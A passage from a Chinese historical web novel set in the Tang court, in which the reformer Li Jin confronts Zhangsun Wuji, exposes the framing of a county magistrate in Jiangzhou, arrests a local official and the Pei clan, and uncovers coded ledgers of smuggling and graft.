他提到了汴州,提到了郑家之事,语气依旧平淡,但目光却紧锁着李瑾。
李瑾心中一凛,知道这才是今晚宴会的重点之一。长孙无忌在试探他对郑家之事的最终态度,以及新政在触及门阀核心利益时的底线。
“太尉所言,确有其事。” 李瑾坦然承认,“新政如利刃,用之正则造福百姓,用之不正,则为害更烈。汴州郑氏,勾结胥吏,挪用官贷,行刺钦差,证据确凿,已按律严惩。此正为 杀 一 儆 百, 以 正 法 纪。 至于胥吏盘剥、执行走样,此乃痼疾,非‘青苗贷’独有。朝廷已加派巡察御史,明察暗访,并鼓励百姓告发。 新 政 之 成 败, 不 在 法 令 本 身, 而 在 执 行 之 人。 故 才 有 ‘ 考 成 法’ 与 寒 门 拔 擢, 选 用 清 正 干 练 之 人, 方 是 治 本 之 道。 郑 氏 之 事, 亦 是 为 后 来 者 戒。**”
他再次将话题引回“人”的问题,并隐隐点出,之所以要用寒门,正是因为旧有官吏体系(尤其是与门阀关联紧密者)不可靠。同时,对郑家的处理,表明了“依法严惩,绝不姑息”的强硬态度。
长孙无忌脸上的笑容淡了些,他轻轻摩挲着温润的玉杯,目光似乎飘向了轩外沉沉的夜色,缓缓道:“郑氏……咎由自取。国有国法,家有家规,触犯律例,自当惩处。只是,老夫听闻,郑氏在河南,毕竟树大根深,牵连甚广。雷霆手段,固然震慑宵小,然 水 至 清 则 无 鱼, 人 至 察 则 无 徒。** 为政者,有时亦需懂得权衡与怀柔,方是长久之道。李相以为呢?”
“ 怀 柔 当 对 良 善, 权 衡 需 有 底 线。” 李瑾声音不高,却字字清晰,“若对触犯国法、戕害百姓、图谋不轨者怀柔,则国法威严何在?朝廷信誉何存?新政大计,关乎国本民生,更容不得半分妥协。 至 于 ‘ 水 至 清 则 无 鱼’, 请 恕 晚 辈 不 敢 苟 同。 朝 廷 要 的, 是 能 为 国 为 民 办 事 的 ‘ 鱼 ’, 而 非 浑 水 摸 鱼、 甚 至 祸 乱 池 水 的 ‘ 鳄 ’。 清 除 了 鳄 鱼, 水 自 然 会 清, 真 正 的 鱼 儿, 也 才 有 生 存 的 空 间。”
“鳄鱼?” 长孙无忌眼中精光一闪,终于抬眸,深深看了李瑾一眼,那目光不再温和,而是带着一种久居上位者的审视与压力,“李相以为,这满朝文武,地方大员,世家大族之中,有多少是鳄鱼,又有多少,是不得已而为之,甚至是被误伤的鱼儿呢?”
话问到此,已是图穷匕见。长孙无忌不再掩饰,直接质疑新政的打击面,暗示其“滥伤无辜”,并隐隐以“满朝文武、世家大族”代言人自居,向李瑾施加压力。
轩内的空气仿佛瞬间凝滞。侍立的侍女似乎感觉到了什么,头垂得更低。轩外的蛙声,不知何时也停了,只余晚风吹过荷叶的沙沙轻响。
李瑾迎着长孙无忌的目光,毫无惧色,反而微微一笑,那笑容里带着年轻人特有的锐气,和一种近乎执拗的坚定:“太尉, 是 鱼 是 鳄, 不 在 其 出 身 门 第, 不 在 其 官 职 高 低, 而 在 其 行 为 是 否 遵 纪 守 法, 是 否 心 怀 百 姓, 是 否 忠 于 朝 廷。 新政如镜,如尺,如筛。是美是丑,是长是短,是稻是稗,一照、一量、一筛,自然分明。 清 者 自 清, 浊 者 自 浊。 若 是 真 正 的 ‘ 鱼 儿 ’, 纵 然 池 水 暂 浊, 亦 无 需 惧 怕 被 误 伤; 若 是 ‘ 鳄 鱼 ’, 哪 怕 潜 得 再 深, 也 终 有 浮 出 水 面、 受 到 惩 处 的 一 天。** 太尉以为然否?”
他反将一军,将问题抛回给长孙无忌,并再次强调了新政“依法依规、唯才是举、唯绩是论”的原则,暗示那些反对者,若非心中有鬼,何必惧怕“照镜”、“丈量”和“筛选”?
长孙无忌静静地看了李瑾片刻,脸上的皱纹在灯光下显得更深了些。他没有回答李瑾的反问,只是忽然轻轻叹了口气,那叹息声中,似乎包含了无尽的感慨、失望,以及一丝若有若无的警告。
“后生可畏啊。” 他重新拿起酒杯,示意侍女斟满,语气恢复了最初的平淡,甚至带着点疲惫,“李相锐气逼人,一心为公,老夫佩服。只是,这治国理政,如同弈棋,有时看似勇猛精进,直捣黄龙,却未必能笑到最后。棋局漫漫,需通盘考量,有时退一步,看似失了先手,却能换来更大的天地。李相年轻,前程远大,有些事,不必急于一时,也不必……做得太绝。”
这已是近乎直白的劝诫(或者说警告)了。劝李瑾(和他背后的武媚娘)不要逼得太紧,留有余地,否则恐有反噬之祸。
李瑾听懂了,但他只是举杯,向长孙无忌示意,然后一饮而尽,放下酒杯,平静道:“太尉教诲,晚辈谨记。然则,棋局之道,晚辈亦知,有时看似退让,实则是纵容对手壮大,最终反受其害。 陛 下 与 皇 后 殿 下 既 将 新 政 重 任 交 付 于 瑾, 瑾 唯 知 竭 尽 全 力, 直 道 而 行, 不 敢 有 负 圣 恩, 亦 不 敢 有 愧 天 下 黎 庶。** 至于前程如何,非瑾所虑。但求问心无愧而已。”
“问心无愧……好一个问心无愧。” 长孙无忌低低重复了一句,目光再次投向轩外浓重的夜色,不再看李瑾,仿佛自语般道,“天色已晚,李相明日还要早朝,老夫就不多留了。来人,送李相回府。”
宴席,就在这种表面客气、内里机锋暗藏、最终不欢而散(至少对长孙无忌而言)的氛围中,戛然而止。
李瑾起身,恭谨行礼告退。长孙无忌亦起身还礼,脸上又挂起了那副温和儒雅的长者笑容,仿佛方才那番暗流涌动的交锋从未发生。
老管家再次出现,恭敬地将李瑾送出花厅,沿着来路,穿过静谧的园林,走向府门。
走出赵国公府那扇沉重的大门,夜风拂面,带着春夜的微凉。李瑾深深吸了一口气,坐回马车。车帘落下,隔绝了国公府那深不可测的威严与灯光。
马车缓缓启动,驶入长安城沉沉的夜幕。车厢内,李瑾闭目沉思。今晚的宴会,与其说是鸿门宴,不如说是一次 摊 牌 前 的 相 互 试 探 与 亮 明 立 场。** 长孙无忌知道了他的决心与底线,他也更清楚地感受到了这位元老重臣那平静表面下,深沉如海的不满与隐忍的威胁。
没 有 刀 光 剑 影, 没 有 拍 案 怒 斥, 但 每 一 句 话, 每 一 个 眼 神, 都 是 无 声 的 交 锋。** 长孙无忌的警告犹在耳边,但李瑾心中并无丝毫退缩。他知道,与关陇集团,与这位帝国最有权势的元舅之间的决战,已经从今晚这场看似平静的夜宴,正式拉开了序幕。
真正的风暴,还在后面。而他,以及他所代表的新政力量,已无路可退。
马车驶过寂静的长街,车轮碾过石板路,发出单调的声响,逐渐融入长安城无边无际的夜色之中。而在那深宅之内,花厅的灯火依旧未熄。长孙无忌独自一人,负手立于水边,望着漆黑如墨的湖面,久久不语。许久,才从唇边逸出一声几不可闻的叹息,随风消散在荷香夜色里。
“雏凤清于老凤声……可惜,太过清厉,不知变通,易折啊。”
第112章 瑾独闯龙潭
永徽六年四月,长安的春意被一场突如其来的倒春寒打断,阴雨连绵数日,湿冷的空气仿佛能渗入骨髓。朝堂之上的气氛,似乎也感染了这份阴郁,在长孙无忌夜宴李瑾之后,一种难以言喻的凝重与对峙,如同这恼人的春雨,无声地浸润着皇城的每一寸砖石。
朝会依旧,但许多敏锐的官员发现,一些原本就对新政颇有微词、与关陇集团关系密切的官员,近来似乎“活跃”了不少。他们不再像以往那样,只在私下抱怨,或在无关紧要的细节上挑刺,而是开始更有组织、更有针对性地就新政推行中的“弊端”上疏,言辞虽然依旧“忧国忧民”,但引用的案例、指向的问题,却愈发具体,直指新政核心,尤其是“考成法”在关陇、河东等地的推行“阻力重重”、“激起民怨”、“有损朝廷威信”。
这些奏疏,如同春雨般淅淅沥沥地落在紫宸殿的御案上。其中一份来自河东道观察使的奏报,尤其引人注目。奏报称,在河东道绛州,有新任县令(乃“寒门登堂”选拔的官员)为完成“垦田”考成,强令百姓在不宜耕作的山坡地开荒,并与当地乡绅发生冲突,导致乡民聚集,几酿成乱。观察使“果断处置”,已将“行事操切、激起民变”的县令革职查办,并“安抚”乡绅,事态方平。奏疏最后,意味深长地写道:“新政本意虽善,然用非其人,操之过急,反生祸端。河东乃国家腹心,关陇屏藩,万不可再生波澜,伏乞陛下、皇后殿下明察。”
这份奏疏,如同一枚精心打磨的毒针。它以一个看似“实证”的案例,将“寒门官员无能”、“新政逼反良民”的罪名坐实,更暗指新政在“关陇屏藩”之地推行,已威胁到帝国腹心安全。矛头不仅指向新政,更隐隐指向了提拔这些寒门官员的李瑾和背后的皇后。
紫宸殿内,武媚娘将这份奏疏看了两遍,凤目含霜,对侍立一旁的李瑾道:“李相,看到了吗?他们开始反扑了。不再空谈道理,而是捏造事实,制造事端,将脏水泼过来。绛州之事,恐怕只是个开始。”
李瑾面色沉静,接过奏疏仔细看了一遍,尤其是关于那位被革职县令的“罪状”描述,以及所谓“乡绅”的姓名背景。片刻,他放下奏疏,声音平稳却带着冷意:“皇后殿下,臣在河东时,对此人略有耳闻。此人名唤张俭,确实出身寒微,然为人刚直,精通农事。绛州多山,他主持开垦的,是前朝战乱抛荒的梯田,并非‘不宜耕作’。当地乡绅,以裴氏为主,与长孙太尉府上似乎有姻亲之谊。裴家在当地广有田产,其中不乏隐匿未报、逃避赋税者。张俭到任后,清丈田亩,触及裴家利益,故生龃龉。所谓‘强令开荒、激起民变’,恐怕是裴家煽动部分不明真相的农户,抗拒清丈,阻挠垦荒,双方争执,被观察使夸大其词,反诬张俭。至于观察使……如果臣没记错,是长孙冲(长孙无忌长子)的妻兄。”
寥寥数语,便将奏疏背后可能隐藏的地方势力勾结、诬陷清官、阻挠新政的脉络,勾勒得清清楚楚。
“果然如此。” 武媚娘冷笑,“他们这是要‘杀鸡儆猴’,警告那些寒门官员,也警告朝廷,在关陇河东之地,新政行不通。李相,你以为该如何应对?”
“ 不 能 坐 视 不 理, 也 不 能 仅 凭 一 纸 奏 疏 定 案。” 李瑾斩钉截铁道,“张俭是否真的有罪,绛州实情究竟如何,必须查清!若张俭果真有错,自当依法惩处;若其是遭人构陷,则必须还其清白,严惩诬告及幕后主使!此案关系新政信誉,更关系今后寒门官员能否在地方立足!臣请旨, 亲 赴 绛 州, 查 明 此 案 真 相!”
“亲赴绛州?” 武媚娘眉头微蹙,“那里是裴家根基,观察使又是长孙冲妻兄,可谓龙潭虎穴。你刚刚与长孙无忌言语交锋,此刻前去,恐其早有防备,甚至设下陷阱。”
“正因为是龙潭虎穴,臣才更要去。” 李瑾目光坚定,“若派他人,恐难应付当地盘根错节的关系,也未必能顶住压力。臣持尚方剑,代表朝廷,正好去看看,这‘关陇屏藩’之地,究竟是谁家之天下!是陛下的天下,还是他长孙家、裴家的天下! 此 案 必 须 查 个 水 落 石 出, 不 仅 是 为 张 俭, 更 是 为 新 政 正 名, 为 朝 廷 立 威!** 况且……” 他顿了顿,“臣也想知道,长孙太尉的‘警告’,究竟只是言语,还是已化为了实际行动。”
武媚娘凝视李瑾良久,从他眼中看到了熟悉的、一往无前的锐气与决心。她知道,李瑾是对的。此事若不能雷霆处置,澄清真相,打压诬陷者的气焰,则新政在关陇等地的推行将更加艰难,寒门官员也将人人自危。这不仅是查案,更是一场 政 治 表 态 和 正 面 对 决。
“好!” 武媚娘决然道,“本宫准你所请!授你全权,彻查绛州一案!可调动当地驻军、百骑司及巡察御史,遇有阻挠,无论涉及何人,可凭尚方剑先斩后奏!本宫会在长安,为你稳住朝堂。记住, 此 去 不 仅 要 查 案, 更 要 让 所 有 人 看 到, 朝 廷 推 行 新 政、 整 肃 吏 治 的 决 心, 绝 不 会 因 为 任 何 人、 任 何 势 力 的 阻 挠 而 动 摇!** 万事,小心!”
“臣,领旨!” 李瑾躬身,眼中燃起战意。
三日后,李瑾只带了赵虎等十余名百骑司精锐,轻车简从,悄然离开长安,直奔河东道绛州。他没有大张旗鼓,但“李相亲赴绛州查案”的消息,如同长了翅膀,迅速传开。长安城中,无数目光投向了河东。
河 东 道, 绛 州, 龙 门 县。 此地北依吕梁,南临汾水,山河表里,自古便是兵家必争、豪强辈出之地。裴氏乃此地首屈一指的大族,郡望“闻喜”,自魏晋以来便是高门,与关中韦、杜、裴、柳等族并称,在关陇集团中亦占有一席之地。现任家主裴律师,更是长孙无忌的得力臂助之一,其妹嫁与长孙冲为妻,关系盘根错节。
李瑾抵达绛州州治时,并未直接去州衙,而是先秘密会见了早已奉命潜入、暗中查访的百骑司密探,初步了解了情况。与他的判断基本一致:张俭确因清丈田亩、推广新式农具、组织垦荒(复垦抛荒梯田)得罪了裴家。冲突起因是裴家佃户阻挠官府丈量裴家“寄庄”(隐匿田产),双方发生推搡,裴家趁机煽动,聚集了更多佃户和不明就里的农民,围堵县衙。观察使(长孙冲妻兄)迅速赶到,不问青红皂白,以“平息民乱”为名,将张俭锁拿下狱,并迅速定了“苛政激变”的罪名上报。裴家则趁机散布谣言,将张俭描绘成“酷吏”,将新政说成“恶法”。
掌握了基本脉络,李瑾心中有了底。次日,他手持圣旨与尚方剑,径直来到州衙。
州衙内,气氛凝重。河东道观察使崔琰(长孙冲妻兄)、绛州刺史、以及闻讯赶来的裴律师等人,早已在堂上等候。崔琰年约四旬,面皮白净,眼神灵活,透着一股精明与倨傲。裴律师则年过五旬,身形微胖,锦衣华服,脸上带着惯常的、仿佛镌刻上去的温和笑容,但眼底深处却是一片漠然。
“下官崔琰(臣裴律师)参见李相!不知李相驾临,有失远迎,还望恕罪!” 众人依礼参拜,姿态无可挑剔。
李瑾端坐主位,尚方剑横于案前,目光缓缓扫过众人,在崔琰和裴律师脸上略作停留,淡淡道:“本相奉旨,彻查龙门县令张俭‘苛政激变’一案。相关卷宗、人证、物证,速速呈上。崔观察使,你是此案处置之人,便由你先说。”
崔琰早有准备,上前一步,侃侃而谈,将奏疏中那套说辞又详细演绎了一遍,极力渲染张俭如何“不谙民情”、“强逼垦荒”、“激起公愤”,自己如何“果断处置”、“安抚地方”,并呈上一沓所谓的“乡**名诉状”和几名“苦主”的证词。言辞恳切,数据“详实”,仿佛铁证如山。
裴律师在一旁不时补充,语气痛心疾首:“李相明鉴,我裴家世居此地,诗礼传家,向来遵纪守法,体恤乡邻。张县令新官上任,锐意进取,本是好事。然其不顾实际,强令垦荒,又清丈田亩,手续繁琐,胥吏借机骚扰,民不堪其扰啊!老夫也曾劝其稍缓,然其不听,终酿成祸。崔观察使处置及时,方未酿成大乱。还望李相体察下情,莫要寒了地方士绅之心。”
两人一唱一和,将责任全推给张俭,并将自己塑造成“维稳功臣”和“受害乡绅”。
李瑾静静听完,不置可否,拿起那沓“诉状”和证词翻了翻,忽然问道:“崔观察使,你说张俭强令百姓在不宣耕作的山坡地开荒,导致民怨。是哪些山坡地?可有图示?所垦之地如今情况如何?可有实地勘验记录?”
崔琰一愣,没想到李瑾问得如此具体,忙道:“这个……下官接到报案,急于平息事态,具体地块……需问县衙工房胥吏。不过,乡民众口一词,绝不会错。”
“哦?众口一词?” 李瑾抬眼,目光如电,“本相入城前,曾去张俭主持复垦的几处梯田看过。那里土层尚可,且有前朝灌溉沟渠遗迹,稍加整理,便是良田。附近村民言,去岁已有少量收成。何来‘不宜耕作’之说?再者,你呈上的这些‘诉状’,笔迹相似,措辞雷同,且多无具体姓名住址,只以‘乡民’、‘百姓’代称。这便是你所谓的‘铁证’?”
崔琰脸色微变,强笑道:“李相,乡民愚钝,诉状或请人代笔,也是常情。至于田地……或许是下官听误了地点。但张俭激起民变,却是事实!当日成百上千乡民围堵县衙,若非下官及时弹压,后果不堪设想!”
“乡民围堵县衙,所为何事?真是因为垦荒?” 李瑾追问,“据本相所知,当日冲突,起因是裴家佃户阻挠官府清丈‘寄庄’田亩,继而裴家煽动更多人手,冒充‘乡民’,围攻县衙,可是如此?”
裴律师脸色一沉,立刻叫屈:“李相此言何意?我裴家良善百姓,岂会做此等事?定是有人诬陷!当日围堵者,皆是受张俭欺压的普通农户!”
“是吗?” 李瑾冷笑,对赵虎道,“带人证。”
赵虎应声而出,不多时,带进几名衣衫褴褛、面带菜色的农户,还有两名被捆着的、眼神闪烁的汉子。
“这几人,是当日真正参与围堵的农户。你们自己说,为何去县衙?” 李瑾声音平和,却带着不容置疑的威严。
那几个农户扑通跪倒,磕头如捣蒜:“青天大老爷明鉴!小的们是裴家庄子的佃户,那日是裴管家带着人,说官府要抢我们的地,让我们去县衙闹事,不去就收回佃田,还要加租!小的们不敢不去啊!”
“至于这两个,” 李瑾指着被捆的汉子,“是裴家拳养的护院头目,当日在人群中领头鼓噪、冲击县衙的,就是他们。赵虎,让他们自己说。”
那两个汉子面如土色,在赵虎冰冷的目光逼视下,终于招认,确是裴律师之子裴承禄(裴律师长子)指使他们,混在佃户中,煽风点火,故意制造混乱,并许诺事后重赏。
“裴公,还有崔观察使,对此作何解释?” 李瑾目光如刀,射向裴律师和崔琰。
裴律师脸色铁青,额角见汗,兀自强辩:“此……此乃刁·民诬陷!这几个佃户定是受了张俭同党收买!这两个护院,更是血口喷人!李相切莫听信一面之词!”
崔琰也急忙道:“李相,此事必有蹊跷!需详加审讯,不可仓促定论!”
“详加审讯?自然要审。” 李瑾站起身,走到堂中,声音陡然提高,“但不是在你们这官官相护、颠倒黑白的州衙审!来人!”
“在!” 赵虎及百骑司精锐齐声应诺,声震屋瓦。
“将河东道观察使崔琰,绛州裴律师,及其子裴承禄,即刻拿下!革去崔琰职衔,一并收监听审!查封裴府,详查其田产账目、往来书信!调龙门县狱,提出原县令张俭,本相要亲自问话!州衙一应胥吏,涉及此案者,全部拘押,分开审讯!” 李瑾语速极快,命令清晰,带着雷霆万钧之势。
“李瑾!你敢!” 崔琰又惊又怒,厉声喝道,“我乃朝廷命官,长孙太尉姻亲,你敢无凭无据拿我?!”
“无凭无据?” 李瑾一把抓起案上那几张伪造的诉状和人证口供,狠狠摔在崔琰脸上,“这便是凭据!你罔顾事实,构陷忠良,与地方豪强勾结,欺上瞒下,阻挠新政,已是罪证确凿!本相持尚方剑,代天巡狩,有何不敢?!拿下!”
赵虎等人如狼似虎,上前便将崔琰、裴律师父子按住。崔琰兀自挣扎叫骂,裴律师则面如死灰,他知道,李瑾这是动了真格,而且是有备而来。
“李瑾!你如此跋扈,构陷大臣,迫害士族,长孙太尉不会放过你!朝廷诸公也不会答应!你这是自取灭亡!” 崔琰被拖出去时,嘶声力竭地吼道。
李瑾充耳不闻,对吓得浑身发抖的绛州刺史道:“立刻出榜安民,言明朝廷正在彻查张俭一案真相,凡有受蒙蔽参与围堵、或知悉内情者,主动前来自首,可酌情宽宥。若有继续散播谣言、聚众闹事者,严惩不贷!州衙事务,暂由你署理,若再敢徇私,同罪论处!”
“是……是!下官遵命!” 刺史冷汗涔涔,连声应诺。
当日,李瑾雷厉风行,拿下崔琰、裴氏父子的消息,如同平地惊雷,瞬间震撼了整个绛州,并以最快的速度向长安、向河东、关陇各地扩散。谁都没想到,这位年轻的中书令,竟敢真的在“关陇屏藩”之地,对长孙无忌的姻亲和本地顶尖豪强,动用如此酷烈的手段!
这已不仅仅是查案,这是 宣 战! 是李瑾代表的新政力量,对以长孙无忌为首的关陇集团,发起的一次正面、强硬、不留余地的挑战!他单枪匹马闯入这龙潭虎穴,不仅是要捞出被诬陷的张俭,更是要用崔琰和裴家的人头,来为新政立威,来向天下宣告: 无 论 是 谁, 无 论 背 景 多 深, 只 要 敢 阻 挠 新 政, 对 抗 朝 廷, 都 将 付 出 惨 重 代 价!**
绛州的天空,依旧阴沉,但一场席卷朝野的更大风暴,已然因李瑾这“独闯龙潭”的悍然一击,被彻底引爆。
第113章 账册隐玄机
绛州的春天,在惊雷与血雨中被彻底惊醒。李瑾以雷霆手段拿下崔琰、裴律师父子,如同在平静(至少是表面平静)的湖面投下了万钧巨石,激起的不仅是滔天巨浪,更有湖底沉积百年的污泥。整个河东道,乃至整个关陇地区,都感受到了那股来自长安、来自新政、来自那位年轻中书令的凛冽寒意与决绝意志。
裴府被查封的当天,绛州城的气氛便凝重如铁。百姓们远远围观着那朱门高墙被披甲执锐的军士贴上封条,神情各异。有好奇,有畏惧,有幸灾乐祸,但更多的是深深的茫然与不安。对于普通百姓而言,裴家是高不可攀的庞然大物,是“诗礼传家”的郡望,是掌握着他们田租、生计甚至部分生杀予夺之权的“天”。如今这天,似乎要塌了。而那个带兵闯入、下令查封的年轻官员,在他们眼中,既是带来不确定的“灾星”,也隐隐是可能打破旧有压迫的一线微光。
查封裴府,并非简单地关门了事。李瑾深知,像裴家这样的百年豪族,其罪证绝不会明晃晃地摆在台面上。那些足以扳倒他们、甚至牵连其背后更大网络的铁证,必然藏在最隐秘、最意想不到的角落。他亲自坐镇州衙,一面提审张俭(这位寒门县令在狱中受了不少折磨,但意志坚韧,详细陈述了事情经过及裴家隐匿田产、抗拒清丈的种种细节),一面分派得力人手,由赵虎亲自带领,对裴府进行掘地三尺的搜查。
搜查持续了整整三日。裴府占地广阔,庭院深深,屋舍连绵,更有数处地窖、密室。裴家女眷早已被隔离看管在偏院,仆役奴婢则被集中拘押讯问。赵虎等人不放过任何一寸地方,从明堂到暗室,从书房到库房,甚至假山、水井、佛龚之后,皆细细搜检。起初,搜出的多是金银珠玉、古玩字画、地契房契等寻常富贵之家都有的浮财,虽然价值不菲,但仅凭这些,还不足以对裴家及其背后的势力造成致命打击。
直到第三日午后,在裴律师书房一处极其隐秘的夹墙暗格里,赵虎发现了一只尺许见方、外包防水油布、以火漆严密封存的铁箱。铁箱入手沉重,锁具精巧,非寻常钥匙可开。赵虎不敢怠慢,立即将铁箱原封不动送至州衙。
州衙后堂,灯火通明。李瑾挥退闲杂人等,只留下赵虎和两名精通机关、账目的心腹。铁箱被小心翼翼地置于案上。锁具坚固,赵虎尝试了几种方法未能打开,最后用军中带来的精钢撬棍,配合巧劲,才“咔哒”一声,将锁扣崩开。
掀开箱盖,里面并无想象中的珍奇珠宝,而是 整 整 齐 齐 码 放 着 数 十 册 厚 重 的 账 簿, 以 及 几 卷 用 丝 绳 捆 扎 的 书 信。 账簿封面大多空白,或仅以天干地支、简单数字标记,显得十分诡异。书信信封上亦无题款。
李瑾神色一凝,心知找到了关键。他先拿起一册账簿,随手翻开。只见内页以工整的小楷密密麻麻记录着各种条目,但所记内容却令人费解——并非寻常的“某年某月某日,收田租几何,支用几何”,而更像是某种暗语或密码。条目多为“甲子三,入汾阴庄,粟两千石,折钱六百贯,转乙丑七”、“丙寅五,出龙门仓,钱八百贯,付长安西市王记,购铁器三百件”、“丁卯九,收解州盐引五十张,兑河东帛八百匹”…… 时间、地点、物品、数量、接收方,皆用代称,且物品与价值之间,往往与市价相差甚远,甚至匪夷所思。
“这是……暗账?” 赵虎皱眉。
“不止是暗账。” 李瑾一页页快速翻阅,目光越来越冷,“你看,这些条目,时间跨度长达十余年,从贞观末年到永徽初年皆有。涉及的地点,遍及河东、关内、乃至长安、洛阳。物品从粮食、布帛、盐铁、药材,到‘铁器’、‘兵械’(虽用代称,但结合上下文可推断)、甚至‘马匹’!接收方多用天干地支或简单代号,但偶有夹杂真实地名或商号,如‘长安西市王记’、‘洛阳南市刘氏’等。更重要的是……” 他指着其中几条,“看这里,‘甲子三,入汾阴庄,粟两千石,折钱六百贯,转乙丑七’。贞观末年的粮价,即便在河东,两千石粟米也远不止六百贯。这中间的差价哪里去了?再看,‘丙寅五,出龙门仓,钱八百贯,付长安西市王记,购铁器三百件’。寻常铁器,何需如此隐秘记录,且从河东调钱去长安购买?还有盐引,这是朝廷严格控制之物,他们如何能弄到数十张,并用来兑换帛匹?”
李瑾又连续翻看了几本,发现规律类似。这些账册, 记 录 的 是 一 个 庞 大、 隐 秘、 跨 越 数 道 的 走 私、 贪 墨、 非 法 交 易 与 利 益 输 送 网 络! 其中涉及的物资,许多是朝廷严控的战略物资(如盐、铁,甚至可能包括兵械),其交易价格明显异常,存在巨大的利益输送空间。而那个“乙丑七”、“长安西市王记”等代号和名称背后,很可能指向关陇集团内部的其他家族、商号,乃至朝中、军中的某些人物!
“裴家不过一地方豪强,纵然富庶,何来如此大的能量和胆量,经营这等涉及战略物资、跨越数道的秘密网络?” 李瑾放下账册,眼中寒光闪烁,“这背后,必然有更大的人物和势力在支撑、协调、分肥!这些账册,是裴家为自己留的后路,也是他们与背后势力捆绑的投名状!”
他随即又拿起那几卷书信。解开丝绳,展开信纸。信纸是上好的蜀笺,墨迹淋漓,笔迹各异,显然出自多人之手。内容同样隐晦,多用典故、代称,但结合账册,便能看出端倪。
一封信中写道:“……去岁‘北地霜寒’,‘庄禾’多有冻损,‘老农’忧心,恐今春‘青黄不接’。特备‘柴薪’若干,已遣‘健仆’运往‘陇上别业’,望‘东主’查收调度,以慰‘老农’之心……” 结合账册中同期“出龙门仓,粟三千石,运往秦州”的记录,这“北地霜寒”可能指代边镇军需或某种困境,“庄禾”指钱粮,“老农”指军方或地方某要员,“柴薪”指代粮食或其他物资,“陇上别业”和“东主”则显然指代关陇地区的接收方。
另一封信更直白些:“……‘南山铜矿’近来所出‘精铁’颇丰,然‘匠作监’查验日严,‘火耗’难掩。‘长安西市’王掌柜处,新得一批‘胡商’带来的‘波斯良金’,可熔铸器物,价廉物美。是否可通融置换,以补‘火耗’之缺?所得‘溢利’,按旧例分成……” 这分明是在商议如何用走私或劣质金属,替换官府矿冶产出中的“火耗”(合理损耗),从中牟取暴利!而“长安西市王掌柜”,赫然与账册中的“长安西市王记”对应!
还有几封信,则涉及官员的升迁调补、狱讼的关照、赋税的“变通”,字里行间,充斥着利益交换与权力寻租。其中一封信的落款,虽未署名,却盖有一方小小的、图案奇特的私印,形如 盘 踞 的 螭 龙, 与 长 孙 无 忌 平 日 奏 章 上 常 用 的 一 方 私 印 图 案 极 为 相 似!** 李瑾曾在宫中见过长孙无忌的奏本,对此印有印象!
“螭龙印……长孙无忌!” 李瑾手指猛地攥紧信纸,指节泛白。尽管早有预料,但当真正看到可能与长孙无忌直接相关的证据时,他仍感到一阵寒意与愤怒交织的战栗。如果这些账册和书信属实,那么裴家就不仅仅是地方豪强,更是 长 孙 无 忌 及 其 关 陇 集 团 在 地 方 进 行 非 法 经 营、 贪 墨 国 帑、 结 党 营 私 的 重 要 白 手 套 和 利 益 输 送 节 点! 而崔琰作为观察使,显然是在为这个网络提供****和官场协调!
“公子,这些账册和书信……太骇人了!” 赵虎也意识到了问题的严重性,声音发紧,“若曝光出去,恐怕整个关陇,乃至朝堂,都要地动山摇!”
“何止地动山摇。” 李瑾缓缓吐出一口浊气,将信纸小心折好,放回原处,目光如冰,“这是足以 将 长 孙 无 忌 及 其 党 羽 连 根 拔 起 的 铁 证! 走私军国禁物,贪墨边镇军需,操纵官员升黜,结党营私,利益输送……哪一条不是十恶不赦的大罪?裴家区区地方豪族,岂敢如此?又岂能独立完成如此庞大的网络? 必 有 朝 中 顶 级 权 贵 为 其 撑 腰、 指 挥、 分 赃! 这螭龙印,就是指向长孙无忌最直接的线索!”
他站起身,在堂中踱步。兴奋与压力同时涌上心头。兴奋的是,终于抓到了关陇集团最致命的把柄,而且证据如此确凿、链条如此清晰!压力在于,此事牵连太广,一旦发动,便是你死我活、不留余地的总决战。长孙无忌在朝在野经营数十年,树大根深,门生故吏遍布天下,尤其在军方影响力巨大。这些证据虽硬,但能否顺利呈递御前,能否在朝堂上形成压倒性优势,能否抵挡住对方疯狂的反扑,都是未知数。
“赵虎,你立刻挑选最可靠、武艺最高强的四名兄弟,分成两路,一路扮作商旅,一路扮作驿卒, 将 这 铁 箱 中 的 账 册 与 书 信, 全 部 誊 抄 一 份, 原 件 与 抄 件 分 开, 火 漆 密 封, 刻 不 容 缓, 送 往 长 安! 务 必 亲 手 交 到 皇 后 殿 下 或 英 国 公 手 中! 告 诉 他 们, 此 乃 关 乎 新 政 成 败、 朝 局 安 危 的 性 命 攸 关 之 物, 万 不 可 有 失! 你亲自安排路线,确保安全!” 李瑾沉声下令,这是目前最重要的事,必须将证据安全送回长安,由皇后和英国公定夺。
“是!” 赵虎肃然领命。
“另外,” 李瑾继续道,“对裴律师、崔琰、裴承禄等人的审讯不能停,重点突破他们与长安方面的联系细节,尤其是与长孙府的往来。还有,那个‘长安西市王记’的掌柜,立刻发海捕文书,务必要抓到!他是连接长安与地方网络的关键人物!”
“裴府查封的消息恐怕已经传开,属下担心……” 赵虎欲言又止。
“担心他们狗急跳墙,派人来劫夺或销毁证据?还是担心朝中有人施压,甚至动用军队?” 李瑾冷笑,“本相持尚方剑在此,代表朝廷!谁敢妄动,便是谋逆!至于朝中施压……” 他望向长安方向,目光深邃,“皇后殿下和英国公,此刻恐怕也在应对。我们这里越快拿到口供,将证据坐实,他们的压力就越大。 这 是 一 场 与 时 间 赛 跑 的 生 死 之 战。 传令下去,州衙戒严,没有我的手令,任何人不得出入!龙门县驻军,由你暂时节制,严密看守人犯和证物!再派人持我手令,秘密前往河东节度使府,求见节度使,陈明利害,请他务必保持中立,至少……不要被某些人拉下水!”
李瑾深知,河东节度使掌一方兵权,态度至关重要。若能争取其中立,甚至暗中支持,则己方胜算大增。若其倒向长孙无忌,则局势将凶险万分。
安排妥当,李瑾重新坐回案前,看着那铁箱中的账册和书信,心潮澎湃。这些看似枯燥的数字和隐晦的文字,此刻在他眼中,却比千军万马更有力量。它们不仅记录着裴家、长孙家乃至整个关陇集团部分核心人物的累累罪行,更 映 照 出 这 个 庞 大 帝 国 肌 体 深 处 腐 烂 的 脓 疮 与 错 综 复 杂 的 利 益 输 送 管 道。 新政要成功,要真正强国富民,就必须将这些脓疮彻底剜除,将这些管道彻底斩断!
